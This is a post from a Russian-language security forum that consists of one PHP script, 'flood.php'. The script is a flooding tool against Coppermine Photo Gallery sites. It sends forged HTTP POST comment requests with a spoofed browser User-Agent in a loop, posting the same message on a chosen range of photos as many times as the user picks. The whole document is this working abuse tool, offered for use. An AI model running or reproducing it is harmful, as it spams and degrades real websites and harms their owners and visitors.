ANTICHAT — форум по информационной безопасности, OSINT и технологиям

<? 
#######################################
# flood.php
# Coppermine Photo Gallery Easy Flooder
# (C) diehard
#######################################

$host = "www.site.com";
$addr = "/gallery/";

$N = $_GET['n']; 		// number of flood
$author = $_GET['name'];	// name
$message = $_GET['msg'];	// message
$pid1 = $_GET['pos1'];		// absolute position of photo FROM
$pid2 = $_GET['pos2'];		// absolute position of photo TO

if (($N=='')||($author=='')||($message=='')||($pid1=='')||($pid2==''))
{
  echo "<form method=get name=form1 action=flood.php>N:<input value='100' type=text name=n><br>Author:<input type=text value='Vasia' name=name><br>Message:<input value='Hello! My name is Vasia' type=text name=msg><br>Pos of photo FROM:<input type=text value=1 name=pos1><br>Pos of photo TO:<input type=text value=322 name=pos2><br><input type=submit value=go></form>";
}
else
{


$i=0;

while ($i<$N) {

$i++;

$pid = $pid1-1;

while($pid<$pid2){

  $pid++;

  $post="msg_author=$author&msg_body=$message&event=comment&pid=$pid&submit=OK"; 
  $len = strlen($post);

  $query = "POST $addr/db_input.php?event=comment HTTP/1.1\r\n".
	 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
	 "Host: $host\r\n".
	 "Referer: http://".$host.$addr."displayimage.php?pos=-$pid\r\n".
	 "Content-Type: application/x-www-form-urlencoded\r\n".
	 "Connection: close\r\n".
	 "Content-Length: $len\r\n".
	 "\r\n".
	 "$post";

  echo "<BR>Photo $pid : Message $i<BR>";

  $conn = fsockopen($host, 80, $errno, $errstr, 1000); 
  fputs($conn, $query); 

  while (!feof($conn)) 
   {
     $ss = fgets($conn, 128); 
     echo $ss;
   }

}

}
}
?>